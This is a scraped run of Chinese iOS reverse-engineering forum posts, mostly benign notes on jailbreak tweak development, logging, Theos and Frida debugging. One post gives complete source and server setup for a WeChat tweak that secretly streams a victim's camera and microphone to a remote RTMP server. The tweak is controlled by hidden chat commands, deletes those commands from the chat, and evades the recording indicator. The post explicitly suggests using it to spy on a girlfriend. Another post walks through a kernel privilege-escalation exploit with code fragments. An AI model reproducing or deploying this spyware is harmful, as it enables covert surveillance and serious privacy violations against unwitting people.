@abit wrote:
I write a tool to dump encrypted iOS app(include frameworks), It is convenient and simple. I hope you will like it!
Posts: 2
Participants: 2
@abit wrote:
I write a tool to dump encrypted iOS app(include frameworks), It is convenient and simple. I hope you will like it!
Posts: 2
Participants: 2
@JamesHopbourn wrote:
昨天庆总的新书终于到手了,但是太久没玩逆向了,都快忘地差不多了,于是就画了张流程图理清逆向工程思路。
PS:
- 还有什么好工具也可以推荐一下,一起补上。
- 膜一下庆总,里面好几个工具都是他的
![]()
Posts: 4
Participants: 3
@Rozbo wrote:
本文原载于我的ios10 NSLog无效?,其他未授权转载请联系楼主。
去年起,我接触到ios10的越狱开发,但发现ios10的
NSLog
是失效了(曾一度以为是Tweak失效了,各种蛋疼的测试,发现原来是NSLog的原因)。
既然发现了这个问题,那就必须试图解决,以下是我解决的过程,发出来给大家警个醒,以免大家重复踩坑。
其实这个问题的原因是因为在ios10,苹果更改了日志系统,添加了几个os_函数,其中就有os_log
,具体可以在看这个链接尝试历史
syslogd to /var/log/syslog
之前旧的版本一直是使用这个,其实这个小插件很简单,仅仅是在
/etc/syslog.conf
里面加了一句*.* /var/log/syslog
来把所有的日志导出到/var/log/syslog这个文件里。
结果,ios10下无效。idevicesyslog
这个工具是我一直使用的,在mac上通过数据线链接手机后,能在mac的控制台输出ios的日志,它的优点是能够输出颜色,非常的实用的一个小工具,与它一起的套件都非常的好用,共有
name idevice_id idevicecrashreport idevicedebugserverproxy ideviceimagemounter idevicename ideviceprovision idevicebackup idevicedate idevicediagnostics ideviceinfo idevicenotificationproxy idevicescreenshot idevicebackup2 idevicedebug ideviceenterrecovery ideviceinstaller idevicepair idevicesyslog 各个功能看名字就知道了,这里不再细表,可以通过
brew install libimobiledevice
来安装。
结果实测,idevicesyslog在ios下,不能够输出的Tweak的NSLog
socat
这个工具用来干这个事。。。也大才小用了吧。这个工具功能非常强大,这里不再专门讲解了。
deviceconsole
一番尝试之下,发现这个问题没有那么简单,于是百度了一下,结果出来个更坑爹的货,让用
deviceconsole
,还指出了github repo,结果我clone下来,一番编译,提示ld: framework not found MobileDevice clang: error: linker command failed with exit code 1 (use -v to see invocation)
这个报错意为找不到
MobileDevice
这个库,但是我去看过了以后,它明明在哪。。。搞的我也是一脸懵逼。后来猜想这个原因可能是因为这个库是私有库,而xcode9
可能不让链接私有库了。。
于是我建了一个软连接,才重新编译通过。
编译通过之后,发现没有这个执行权限,然后一番捣鼓,结果发现!!!!根!本!没!卵!用!!!
关于这个项目的更多信息,请移步我clone的repo,我修改后pull request,结果十多天了没人理我。。ondeviceconsole
最后,再次抱着试试看的态度,准备试试ondeviceconsole,如果还是不行的话,就只能呵呵,重写NSLog到os_log了。但所幸,这个是可用的。。。
Posts: 7
Participants: 7
@yh8577 wrote:
利用微信监控手机摄像头
我请教一下各位老大.一个问题.后台录音时手机桌面状态栏变成红色的.这个应该hook那个类.是hook 它吗? Springboard
可以悄无声息的偷偷开启你女朋友的摄像头.使用后果自己承担.
书读的少文章不会写,直接上代码.
#import "HGLiveHook.h" #import <Foundation/Foundation.h> #import "CaptainHook/CaptainHook.h" #import "HGLiveSettings.h" #import "HGLiveManager.h" CHDeclareClass(CMessageMgr); // 聊天窗口显示过滤处理 CHOptimizedMethod2(self, void, CMessageMgr, AsyncOnAddMsg, id, arg1, MsgWrap, CMessageWrap *, wrap) { [[HGLiveSettings shared] setMgr:self]; wrap.m_nsContent = [wrap.m_nsContent stringByReplacingOccurrencesOfString:@" " withString:@""]; if ([wrap.m_nsContent hasPrefix:sheZhiFuWuQi]) { [HGLiveSettings setupServer:wrap.m_nsContent room:wrap.m_nsToUsr]; [HGLiveSettings DelMsg:arg1 MsgWrap:wrap]; return; } if ([wrap.m_nsContent isEqualToString:start]) { [[HGLiveSettings shared] setIsPlay:YES]; [[HGLiveSettings shared] setWrap:wrap]; [HGLiveSettings DelMsg:arg1 MsgWrap:wrap]; if (![HGLiveSettings isNoAddress]) { [HGLiveSettings AddMsgWithContent:WeiSheZhiFuWuQi]; return; } [HGLiveSettings AddMsgWithContent:[HGLiveSettings getPlayAddress]]; [[HGLiveManager shared] startRunning]; } if ([wrap.m_nsContent isEqualToString:stop]) { [[HGLiveSettings shared] setIsPlay:NO]; [[HGLiveManager shared] stopLive]; [HGLiveSettings DelMsg:arg1 MsgWrap:wrap]; return; } if ([wrap.m_nsContent isEqualToString:rotate]) { [[HGLiveManager shared] rotateCamera]; [HGLiveSettings DelMsg:arg1 MsgWrap:wrap]; return; } if ([objc_getClass("CMessageWrap") isSenderFromMsgWrap:wrap]) { if ([HGLiveSettings isEqualToCommand:wrap.m_nsContent]) return; } CHSuper2(CMessageMgr, AsyncOnAddMsg, arg1, MsgWrap, wrap); } // 聊天列表显示过滤 CHOptimizedMethod2(self, void, CMessageMgr, AsyncOnAddMsgListForSession, NSDictionary *, arg1, NotifyUsrName, NSMutableSet *, arg2) { CMessageWrap *wrap = arg1[[arg2 anyObject]]; if ([HGLiveSettings isEqualToCommand:wrap.m_nsContent]) return; CHSuper2(CMessageMgr, AsyncOnAddMsgListForSession, arg1, NotifyUsrName, arg2); } // 通知过滤 CHOptimizedMethod1(self, void, CMessageMgr, MainThreadNotifyToExt, NSMutableDictionary *, arg1) { if ([arg1 valueForKey:@"3"]) { CMessageWrap *wrap = [arg1 valueForKey:@"3"]; if ([HGLiveSettings isEqualToCommand:wrap.m_nsContent]) return; } CHSuper1(CMessageMgr, MainThreadNotifyToExt, arg1); } CHDeclareClass(MicroMessengerAppDelegate); // 将变为非活跃状态 CHOptimizedMethod1(self, void, MicroMessengerAppDelegate, applicationWillResignActive, id, arg1) { // 关闭. 由于进入后台.如果是开启状态.桌面状态栏会显示红色提醒用户后台录音开启.避免暴露,最好关闭 if ([[HGLiveSettings shared] isPlay]) { [[HGLiveManager shared] stopLive]; [HGLiveSettings AddMsgWithContent:@"stop"]; } CHSuper1(MicroMessengerAppDelegate, applicationWillResignActive, arg1); } // 由后台进入前台 CHOptimizedMethod1(self, void, MicroMessengerAppDelegate, applicationWillEnterForeground, id, arg1) { // 开启. if ([[HGLiveSettings shared] isPlay]) { [[HGLiveManager shared] startRunning]; [HGLiveSettings AddMsgWithContent:@"start"]; } CHSuper1(MicroMessengerAppDelegate, applicationWillEnterForeground, arg1); } // 所有被hook的类和函数放在这里的构造函数中 CHConstructor { @autoreleasepool { CHLoadLateClass(CMessageMgr); CHHook2(CMessageMgr, AsyncOnAddMsg, MsgWrap); CHHook2(CMessageMgr, AsyncOnAddMsgListForSession, NotifyUsrName); CHHook1(CMessageMgr, MainThreadNotifyToExt); CHLoadLateClass(MicroMessengerAppDelegate); CHHook1(MicroMessengerAppDelegate, applicationWillResignActive); CHHook1(MicroMessengerAppDelegate, applicationWillEnterForeground); } }
@interface HGLiveSettings() @end @implementation HGLiveSettings static HGLiveSettings *_shareInstance = nil; + (instancetype)shared { if (!_shareInstance) { _shareInstance = [[self alloc] init]; } return _shareInstance; } - (void)setWrap:(CMessageWrap *)wrap { _wrap = [wrap copy]; _wrap.m_nsFromUsr = wrap.m_nsToUsr; _wrap.m_nsToUsr = wrap.m_nsFromUsr; _wrap.m_uiMesLocalID = 0; _wrap.m_n64MesSvrID = 0; _wrap.m_uiStatus = 1; _wrap.m_uiMessageType = 1; _wrap.m_nsMsgSource = nil; } + (void)setupServer:(NSString *)address room:(NSString *)room { NSString *fwq = [address stringByReplacingOccurrencesOfString:@":" withString:@""]; fwq = [fwq stringByReplacingOccurrencesOfString:@":" withString:@""]; fwq = [fwq stringByReplacingOccurrencesOfString:@" " withString:@""]; fwq = [fwq stringByReplacingOccurrencesOfString:@"#服务器" withString:@""]; if (fwq.length < 8) return; NSString *roomID = [room stringByReplacingOccurrencesOfString:@"wxid_" withString:@""]; NSString *rtmpAddress = [NSString stringWithFormat:@"rtmp://%@:2018/hls/%@",fwq ,roomID]; NSString *httpAddress = [NSString stringWithFormat:@"http://%@:8080/hls/%@.m3u8",fwq, roomID]; NSUserDefaults *ud = [NSUserDefaults standardUserDefaults]; [ud setObject:rtmpAddress forKey:@"rtmpAddress"]; [ud setObject:httpAddress forKey:@"httpAddress"]; [ud synchronize]; //立即写入 } + (void)DelMsg:(NSString *)DelMsg MsgWrap:(CMessageWrap *)MsgWrap { [[[self shared] mgr] DelMsg:DelMsg MsgWrap:MsgWrap]; [[[self shared] mgr] DelMsg:DelMsg MsgList:MsgWrap DelAll:NO]; [[[self shared] mgr] AsyncOnDelMsg:DelMsg MsgWrap:MsgWrap]; } + (void)AddMsg:(NSString *)AddMsg MsgWrap:(CMessageWrap *)MsgWrap { [[[self shared] mgr] AddMsg:AddMsg MsgWrap:MsgWrap]; [self DelMsg:AddMsg MsgWrap:MsgWrap]; } + (void)AddMsgWithContent:(NSString *)nsContent { CMessageWrap *MsgWrap = [[self shared] wrap]; MsgWrap.m_nsContent = nsContent; [[[self shared] mgr] AddMsg:MsgWrap.m_nsToUsr MsgWrap:MsgWrap]; [self DelMsg:MsgWrap.m_nsToUsr MsgWrap:MsgWrap]; } + (BOOL)isNoAddress { NSUserDefaults *ud = [NSUserDefaults standardUserDefaults]; NSString *rtmpAddress = [ud objectForKey:@"rtmpAddress"]; NSString *httpAddress = [ud objectForKey:@"httpAddress"]; if (rtmpAddress == nil || httpAddress == nil) return NO; return YES; } + (NSString *)getPlayAddress { NSUserDefaults *ud = [NSUserDefaults standardUserDefaults]; NSString *rtmpAddress = [ud objectForKey:@"rtmpAddress"]; NSString *httpAddress = [ud objectForKey:@"httpAddress"]; return [NSString stringWithFormat:@"#播放地址,网页地址:%@,播放器地址:%@",httpAddress,rtmpAddress]; } + (BOOL)isEqualToCommand:(NSString *)command { if ([command isEqualToString:start] || [command isEqualToString:stop] || [command isEqualToString:rotate] || [command hasPrefix:shiPingDiZhi] || [command hasPrefix:sheZhiFuWuQi] || [command isEqualToString:WeiSheZhiFuWuQi]) { return YES; } return NO; } @end
#import "HGLiveManager.h" #import "LFLiveKit.h" @interface HGLiveManager() @property (nonatomic, strong) LFLiveSession *liveSession; @end @implementation HGLiveManager static HGLiveManager *_shared; + (instancetype)shared { if (!_shared) { _shared = [[self alloc] init]; } return _shared; } - (instancetype)init { if (self = [super init]) { LFLiveAudioConfiguration *audioConfig = [LFLiveAudioConfiguration defaultConfiguration]; LFLiveVideoQuality videoQuality = LFLiveVideoQuality_Low1; LFLiveVideoConfiguration *aideoConfig = [LFLiveVideoConfiguration defaultConfigurationForQuality:videoQuality]; self.liveSession = [[LFLiveSession alloc] initWithAudioConfiguration:audioConfig videoConfiguration:aideoConfig]; } return self; } - (void)startRunning { dispatch_async(dispatch_get_global_queue(0, 0), ^{ self.liveSession.running = NO; self.liveSession.preView = [UIView new]; LFLiveStreamInfo *streamInfo = [LFLiveStreamInfo new]; streamInfo.url = [[NSUserDefaults standardUserDefaults] objectForKey:@"rtmpAddress"]; [self.liveSession startLive:streamInfo]; self.liveSession.running = YES; }); } - (void)rotateCamera { if (!self.liveSession.running) return; AVCaptureDevicePosition position = self.liveSession.captureDevicePosition; self.liveSession.captureDevicePosition = position == AVCaptureDevicePositionBack?AVCaptureDevicePositionFront:AVCaptureDevicePositionBack; } - (void)stopLive{ self.liveSession.running = NO; } @end
服务器,免费的很多注册一个几分钟的事.配置服务器选择系统 Ubuntu 安装 nginx 和 srs 简单配置一下即可 .具体配置 方法网上很多.
配置好服务器这样就可以开始使用了
直接给安装插件的微信发送信息
1.设置服务器ip
命令 :#服务器192.168.0.12.开启视频
命令:#ksp3.关视频
命令你猜?4.切换前后摄像头
命令#hjt微信进入后台会自动关闭.给提发送一条信息告诉你对方微信不在前台.当微信进入前台,会给你发个信息告诉你上线了
服务器搭建
服务器系统 Ubuntu 安装 nginx 和 srs 简单配置一下即可 .
nginx直接在github clone 到服务器
nginx 设置
nginx安装好后在nginx.conf文件中最后加入rtmp { server { listen 2018; application rtmplive { live on; max_connections 1024; } application hls{ live on; hls on; hls_path /usr/local/var/www/hls; hls_fragment 1s; } } }
重启Nginx: nginx -s reload 是配置生效
srs配置
~/srs/trunk/conf 目录新建一个 .conf的文件 配置内容如下listen 2018; max_connections 1000; http_server { enabled on; listen 8080; dir ./objs/nginx/html; } vhost __defaultVhost__ { hls { enabled on; hls_path ./objs/nginx/html; hls_fragment 5; hls_window 60; } http_remux { enabled on; mount [vhost]/[app]/[stream].flv; hstrs on; } gop_cache off; queue_length 10; min_latency on; mr { enabled off; } mw_latency 100; tcp_nodelay on; }
然后运行命令是配置生效
./objs/srs -c conf/名称.conf源码地址
Posts: 6
Participants: 3
@xiakj wrote:
macos WX基于TKkk-iOSer的包加了语音播报消息和自动打开电脑摄像头
妈妈再也不担心我的电脑被别人乱玩了再加一个检测鼠标和键盘是否被人使用和关闭摄像头灯就完美了
Posts: 8
Participants: 3
@everettjf wrote:
iOS中的App也存在多进程架构,而且是从iOS6就开始了,只是苹果一直自己在用。
需求来源
iBooksLookUpCloser 发布到bigboss后的第二天,一位老外朋友就发来邮件,让我看看这个一个月前reddit的提问 https://www.reddit.com/r/jailbreak/comments/95vjgd/request_please_some_one_fulfill_this_request_pull/?st=JLMLKHHM&sh=093359ff 。
关于iBooksLookUpCloser参考上篇文章 https://everettjf.github.io/2018/09/03/ibooks-dictionary-close-tweak/ 。
很清楚,是想实现下拉关闭。我瞬间感觉“这个想法好啊,比左下角加个Done按钮体验好多了“。如下图所示。
当时不假思索回复了一句:
Remote View Controller
iBooks打开查单词的界面,cycript查看VC,如下:
仍然是看到了 DDParsecRemoteCollectionViewController 这个类。这个类是个私有类。可以看到定义如下:
@interface DDParsecRemoteCollectionViewController : _UIRemoteViewController <DDParsecHostVCInterface> {
_UIRemoteViewController 是个什么鬼?搜索貌似只发现了这三篇2012年的文章:
https://oleb.net/blog/2012/10/remote-view-controllers-in-ios-6/
原来苹果早在iOS6就实现了这种远程进程ViewController的机制。颇有类似Android多进程机制,比如微信小程序的Android端多进程架构。想必如今的WKWebView也是类似机制。
就这样,我发现回复太早了(装X装早了)。
找到目标进程
经《iOS应用逆向工程》某位大佬提示,说“记得这个类里包含远程进程的ID”。顿时豁然开朗,既然是多进程架构,这么顺理成章的事情,当时怎么没想到呢。
在 _UIRemoteViewController 中找到了这两个属性。
@property (nonatomic, readonly) NSString *serviceBundleIdentifier; @property (nonatomic, readonly) int serviceProcessIdentifier;
打印出来,啊哈。
啊哈,bundle idcom.apple.datadetectors.DDActionsService
开另一个shell,
ps aux
果然找到了这个进程。目标转移到了新进程
至此,我们的动态库需要注入到新的进程 DDActionsService。 修改tweak的注入bundle id 为
com.apple.datadetectors.DDActionsService
。既然是另一个进程,那带来了一个新的好处。hook了这一个进程,那iBooks和Safari以及其他使用这个进程服务的App都间接加上了这个“下拉关闭”的功能。
嗯不错,有意思,继续。
找到字典首页
由于这个进程没有keyWindow, 上文打印VC树的方式无效了。但总有办法啦。
先马上scp出来一份,看看究竟,class-dump。
很多Protocol,真实有效的类并不多,那就随便hook几个看看哪个类是字典的首页。使用 MonkeyDev 的Logos Tweak (或CaptainHook Tweak) ,最终发现DDParsecTableViewController
是首页。#import <UIKit/UITableViewController.h> @interface DDParsecTableViewController : UITableViewController { } - (void)loadView; @end
看下头文件,确认是一个UITableViewController的子类。
找到delegate
那么为了实现下拉关闭,大概需要知道“触摸按下,移动,松开”三个时间,UITableViewDelegate 实现了 UIScrollViewDelegate , UIScrollViewDelegate 有我们需要的三个事件。
那么需要找到 UITableViewController 中tableView的delegate是谁。由于不方便在cycript中快速通过keyWindow获取VC栈,那就先通过 hook DDParsecTableViewController 的viewWillAppear事件(或者viewDidAppear等任意事件),打印出 DDParsecTableViewController 的self地址。
NSLog(@"%p",self);
知道了地址,然后cycript快速找到delegate
找到了 DDParsecServiceCollectionViewController 这个类就接近完工了。- (void)scrollViewWillBeginDragging:(UIScrollView *)scrollView{ - (void)scrollViewWillEndDragging:(UIScrollView *)scrollView withVelocity:(CGPoint)velocity targetContentOffset:(inout CGPoint *)targetContentOffset{ - (void)scrollViewDidScroll:(UIScrollView *)scrollView;
分别通过hook或者category的方式,加上下拉关闭的逻辑代码。终于实现了。
完工
具体代码参考:
实现效果视频
没找到微博的视频怎么分享,也放推特的吧 https://twitter.com/everettjf/status/1038359512384585729
上传bigboss
估计2018年9月10日就能在cydia的bigboss源里搜到 DictionaryPullDownToClose 了。
总结
- 世界上总有和你一样需求的人。
- 或许他有更好的实现方法。
- 努力找寻。
- 找不到的话,要么这个需求没价值,要么就是无价。
上面四条纯属瞎掰掰。
实现了这个功能,用iBooks或Safari看英文更愉快了,开森。
(最后做个小广告,和逆向有点关系,但关系不大,谨慎订阅)
欢迎关注订阅号《性能优化很有趣》:
在iosre再多聊几句哈。学iOS逆向好多年,但因为自己的工作一直不是安全相关,也就一直都是停留在逆向和正向的中间,正向做的不如专门做的玩的花样多,逆向也不如各位大佬们玩的深。深感惭愧,但也很幸运,总能在社会中找到一份不错的工作,或许也是需要这种中间层的RD吧。
这篇文章(其实是两篇文章,第一篇太水,没发到这里,这一篇感觉还有点新东西,两个进程嘛,哈哈)只是为了解决自己的需求,但当发出来之后,有人提出了更好的解决方法,这个过程的感觉确实很好。
开森,祝大家都开森。
Posts: 3
Participants: 2
@ChiChou wrote:
正确的姿势是这个:
许多人都在各种步骤上遇到各种奇怪的问题,大多是签名没签对、漏了 jailbreakd 之类,于是出现各种月经贴。
一般看到我发帖肯定是要说 frida。
没有错。
懒人方案就是不要折腾 debugserver 的重签名,也不用自己写脚本去 platformize。frida 会自动对 attach 过的进程执行这个:
你要做的就是:
- 原生 Xcode,原生 debugserver,不用重签名,不用 entitlement
- Xcode 随便打开 / 创建一个 iOS 项目,甚至是编译不过的代码都无所谓,但别是 macOS 或者其他的什么项目
- 越狱设备上 Cydia 装 frida;电脑端
pip install frida-tools
(记得挂代理)- 打开要测的 App
- 电脑端
frida -U App
- 高潮来了,Xcode 里菜单里 Debug / Attach to Process,是不是发现被 frida attach 过的进程可以直接调试了?
还是原来的配方,还是熟悉的味道
你甚至可以直接用 Xcode 的界面调试器。
我印象中重签名过的 debugserver 似乎不支持在 Xcode 里这样用?
Posts: 2
Participants: 1
@Daemonceltics wrote:
iOS 中任意app调试webview可参考cc师傅的 http://bbs.iosre.com/t/tweak-app-webview/11381 ,macOS也是参考该文章,这里只说一下区别:
1、macOS 的webinspectord中与iOS相比不同就是函数名为RWIRelayDelegateMac
2、RWIRelayDelegateMac位于/System/Library/PrivateFrameworks/WebInspector.framework/Versions/A/WebInspector(10.13.6)中
3、因为有SIP的存在默认情况下无法hook webinspectord进程,如果想通过hook的方式修改只能关闭SIP
Posts: 2
Participants: 2
@Zhang wrote:
在Theos开发者修复之前,你只需要编辑Makefile:
TWEAK_NAME = FOOOOOO FOOOOOO_FILES = Tweak.xm FOOOOOO_CFLAGS = -std=c++11 -stdlib=libc++ FOOOOOO_LDFLAGS = -stdlib=libc++
And viola
究其原因是Apple在Xcode10中彻底抛弃了GNU的C++标准库实现libstdc++切换到LLVM的libc++上。
参考:
Posts: 8
Participants: 8
@Peterpan0927 wrote:
0x00.前言
憋了半天终于憋出来了…这是lan Beer在2018年写的一个Poc,利用的方式十分的巧妙,利用了很多巧妙的方式来提供成功率,如创建大量的闲置线程去抢占CPU,从而维护堆空间的稳定,虽然成功率只有50%(lan Beer said on Tiwtter),但是其中对于仅仅溢出8个零字节的方式就达到提权的方式还是非常值得我们去学习的。
0x01.漏洞产生点
漏洞的产生点就在我们没有对于bufferSize的下界进行检查,所以我们可以传递一个很小的
buffer
/* * Allocate a target buffer for attribute results. * Note that since we won't ever copy out more than the caller requested, * we never need to allocate more than they offer. */ ab.allocated = ulmin(bufferSize, fixedsize + varsize); if (ab.allocated > ATTR_MAX_BUFFER) { error = ENOMEM; VFS_DEBUG(ctx, vp, "ATTRLIST - ERROR: buffer size too large (%d limit %d)", ab.allocated, ATTR_MAX_BUFFER); goto out; } MALLOC(ab.base, char *, ab.allocated, M_TEMP, M_ZERO | M_WAITOK);
但是溢出的数据是并不受我们控制的,至于为什么,我们来看一下函数原型就知道了:
static int getattrlist_internal(vnode_t vp, struct getattrlist_args *uap, proc_t p, vfs_context_t ctx) { ... ... ... if (al.volattr) { if (al.fileattr || al.dirattr || al.forkattr) { error = EINVAL; VFS_DEBUG(ctx, vp, "ATTRLIST - ERROR: mixed volume/file/directory/fork attributes"); goto out; } error = getvolattrlist(vp, uap, &al, ctx, proc_is64); goto out; }
从
if
的判断条件来看,al
的volattr
不为0之后,其他的三个属性如果不是0就会进入错误的分支,所以我们只能溢出8个字节的0
,那么这个偏移是如何计算的呢,重点就在最后的bcopy
函数了:bcopy(&ab.actual, ab.base + sizeof(uint32_t), sizeof(ab.actual));
这个地方我们最多只能溢出八个字节的原因是因为
ab.actual
的大小为0x14
,sizeof(uint32_t)
为4字节,所以最多只会溢出0x14+0x4-0x10=8
个字节的数据,并且建立在buffer在kalloc.16
的区间内。接下来就是如何一步步通过这个溢出来达到提权的过程
0x02.漏洞利用
目前还没有对所有的细节看的非常清楚,但是
lan Beer
做的一连串的操作已经让我目瞪口呆了,我就从宏观上来说一下大概做了什么事情:
lan Beer
采用的是tfp0的方式来实现任意地址读写,这意味着我们需要拿到一个拥有内核权限的端口,他尝试在内存空间分配了一连串的连续页面,形如下面的样子:kalloc.16 | ipc_ports | kalloc.16 | ipc_ports …
这个时候我们在
kalloc.16
的那个页面上想要尝试做溢出,但是如果我们溢出到了freelist
只会导致内核panic
,那么怎样才能将我们溢出的8个字节控制到页面的边界,从而覆盖ipc ports
的那个页面呢?这里我们可以发现
free list
其实采取的是一种半随机化的分配方式:| 9 8 6 5 2 1 3 4 7 10 | <-- example “randomized” allocation order from a fresh all-free page
也就是说我们通过将页面里面的所有
kalloc.16
全部释放之后,free list
就会reverse
,那么重新申请的kalloc.16
就是从free list
的两边往中间扩散,如果重新申请kalloc.16
的在页面的最右边,然后我们触发漏洞,就能将ipc port
页面的前八个字节给覆盖成0,这个就是我们的目的:| 1 4 - - - - - 5 3 2 | | 2 5 - - - - - 4 3 1 | kalloc.16 ipc_ports
在反向的
freelist
中,如果我们从边界开始做溢出的话,很可能就会溢出到-
,也就是free list
中,所以我们会先剪去一个值,比如说我们从3
开始做溢出,在溢出之后再申请一个内存占位,这样循环只会溢出到kalloc 16 chunk
,或者到ipc ports
,也就是我们希望达到的效果。这样一来就保证了我们的漏洞触发并不会崩溃,并且最后一定会溢出到一个ipc port
,这里会出现问题的地方就是如果页面中间的内存没有分配,触发漏洞就会panic
,就算我们剪去一个数也是没有办法百分百保证一定会成功的。接下来就是把这个被覆盖的
port
给找出来,因为ip_object->ip_object->io_bits
被覆盖为NULL,ip_active(port)
就会为false
,那么调用mach_port_kobject
就会返回KERN_INVALID_RIGHT
,根据这个特征我们就可以拿到目标端口的port name
了:err = mach_port_kobject(mach_task_self(), candidate_port, &typep, &addr); if (err != KERN_SUCCESS) { printf("found the port! %x\n", candidate_port); target_port = candidate_port; break; } } // Stop searching. We found the corrupted port. if (target_port != MACH_PORT_NULL) { break; }
这中间其实
lan Beer
还做了很多操作去提升成功率,比如为ipc_kmsg
的trailer
构造free list
来降低干扰等,感兴趣的可以去具体看一下lan Beer
的poc,我这里就不多说了。接下来我们拿到这个被覆盖了前八个字节的端口之后,接下来我们要将它释放掉,方便我们之后去重新布置上面的数据,但是由于它的状态并不是
active
的,所以我们需要寻找一种方式找到一个函数减少它的reference
,并且这个函数不会做其他多余的事情,比如说仅仅返回一个状态码。经过寻找之后可以定位到
mach_port_set_attributes
这个函数上:ip_reference(port); ip_unlock(port); ... ... // 因为"ipc_port->ipc_object->io_bits" 为 NULL, "ip_active(port)" 就是 false ,代码运行到else部分 if (ip_active(port) && (port->ip_requests == otable) && ((otable == IPR_NULL) || (otable->ipr_size+1 == its))) { ... ... ... } else { ip_unlock(port); // 这里减少了引用,这里的引用数就变成了0,如果继续深挖下去,最后会被"io_free"这个函数释放掉 ip_release(port); it_requests_free(its, ntable); } //"ip_active(port) == false"并不是一个错误的情况,所以我们的返回值还会是KERN_SUCCESS return KERN_SUCCESS; }
端口被释放之后我们在页面中间找一个端口作为我们的
canary port
,接下来的目标就是用这个canary port
来覆盖target port
的ip_context
字段,我们的做法是触发系统的GC(这是一个很精髓的堆空间操作),然后把一个充满我们布置数据的页面来替换target port
的那个页面。如果上一步成功了的话,那么我们应该可以用
mach_port_get_context
来返回canary port
的地址:kern_return_t mach_port_get_context( ipc_space_t space, mach_port_name_t name, mach_vm_address_t *context) { ipc_port_t port; kern_return_t kr; if (space == IS_NULL) return KERN_INVALID_TASK; if (!MACH_PORT_VALID(name)) return KERN_INVALID_RIGHT; kr = ipc_port_translate_receive(space, name, &port); if (kr != KERN_SUCCESS) return kr; //流程进入else if (port->ip_strict_guard) *context = 0; else //ipc_port->ip_context的值将会被直接返回给用户空间 *context = port->ip_context; ip_unlock(port); //这里并没有其他的安全性校验,直接返回了 return KERN_SUCCESS; }
这里虽然我们用来覆盖的
canary port
只是一个port name
,但是我们是通过OOL message
发送到内核的,所以这个地址会自动被转换为canary port
的ipc port
的真实地址。最后我们通过这个函数就可以在用户空间去拿到
canary port
的ipc port
的地址了,剩下操作就比较显而易见了,如果我们有了一个受我们掌控的port
。因为之前占住
target port
的是ool message
,我们再接受消息回来,空间被释放掉了,接下来申请一串pipe
,来占住那个页面,而在这些pipe
上布置的是我们布置好的fake port
,其中fake task
的地址指向的是离canary port
那个页面0x10000
(取决于内核页面大小)的页面,地址暂记为pipe_target_kaddr
:此时我们可以做一个小测试来看看
target port
是否被布置好的pipe buffer
给替换了:err = pid_for_task(target_port, &val); if (err != KERN_SUCCESS) { printf("pid_for_task returned %x (%s)\n", err, mach_error_string(err)); } //如果返回0x80000002就说明我们覆盖成功了 printf("read val via pid_for_task: %08x\n", val);
接下来我们想要找到创建出来的那一连串
pipe
中的pipe_target_kaddr
对应的pipe
的r/w
接口是哪一个,从而控制fake task
中的数据,所以我们可以写一个循环来找:for (int i = 0; i < next_pipe_index; i++) { if (i == replacer_pipe_index) { continue; } read(read_ends[i], old_contents, 0xfff); // 我们把想要找到的那个pipe读的值给修改一下,偏移+4 build_fake_task_port(new_contents, pipe_target_kaddr, pipe_target_kaddr+4, 0, 0, 0); write(write_ends[i], new_contents, 0xfff); uint32_t val = 0; err = pid_for_task(target_port, &val); if (err != KERN_SUCCESS) { printf("pid_for_task returned %x (%s)\n", err, mach_error_string(err)); } printf("read val via pid_for_task: %08x\n", val); //如果此时的返回值为0xf00d,说明我们成功的找到了那个pipe buffer的地址 if (val != 0x80000002) { printf("replacer fd index %d is at the pipe_target_kaddr\n", i); pipe_target_kaddr_replacer_index = i; break; } }
拿到地址后,我们就可以准备任意地址读了:
prepare_early_read_primitive(target_port, read_ends[pipe_target_kaddr_replacer_index], write_ends[pipe_target_kaddr_replacer_index], pipe_target_kaddr); void prepare_early_read_primitive(mach_port_t target_port, int read_fd, int write_fd, uint64_t known_kaddr) { early_read_port = target_port; // 通过这两个管道,我们就可以完全控制target port的fake task的值来进行任意地址读 early_read_read_fd = read_fd; early_read_write_fd = write_fd; // 这个就决定了我们的fake task地址 early_read_known_kaddr = known_kaddr; }
下面我们就该
canary port
出场了,因为我们知道canary port
的内核地址,所以如果我们向这个端口发送消息,消息的local port
设置为mach_host_self()
,那么这就意味着可以通过ipc_port.ip_messages.messages->messages[0]
先找到kmsg
然后再通过kmsg->ikm_header->msgh_local_port
找到我们的host port
的ipc port
地址!接下来我们也将通过同样的方式来找到我们的task port
地址。通过位运算定位到
host port
的页面开头,然后从页面的开头开始找kernel task port
,然后就可以通过tfp0
的方式达到提权,lan Beer
的整个流程分析就到此结束了,但是其中还有一些细节没有完全的解释清楚,有兴趣的可以看一下他的poc
,和我探讨一下。0x03.参考链接
MacOSX Internals
Posts: 1
Participants: 1
@yuzhouheike wrote:
写在前面的话.为什么要编译这个?因为想做个模拟点击,提供给做测试岗位的未来女朋友使用,解放测试小姑娘们的双手,但是自己很菜又搞不懂苹果底层的点击是怎做的.搜索了一下发现韩国人写的这个simulatetouch可以达到要求,但是人家已经不维护了.所以需要修改他的代码.目前只发现了这一个开源代码,可以直接手机上每一个角落,所以需要在这个基础上开发自己的模拟点击,也看到了其他人的模拟点击比如PPFaketouch,ZSFaketouch但是这两个都需要注入别人的App才能点击,考虑到大多数厉害点儿的App都会做防注入,所以放弃,继续研读simulatetouch源码.期望与有共同需求的爱好者一起讨论
开发环境
- Xcode9.4.1
- iOS8
- macOS10.13.6
接下来做好不断失败的准备,因为在论坛搜了一下大多数都是求助无果的帖子
0x1 下载源代码
git clone git@github.com:iolate/SimulateTouch.git git submodule init git submodule update
0x02 tree一下
0x03 编译
make
0x04 在电脑找一下这个文件,发现找不到
sudo find / -name IOKit/hid/IOHIDEvent.h
0x05 去github找找
0x06 不会了,你会不会?
- 在论坛搜,大佬们都在闷声发大财,解决了也不分享下.
0x07 去theos的git下载他们的SDK放在
/opt/theos/sdk目录下
- 修改下Makefile文件 先编译lib因为编译其他两个要用到它.编译成功后放大到
/opt/theos/lib
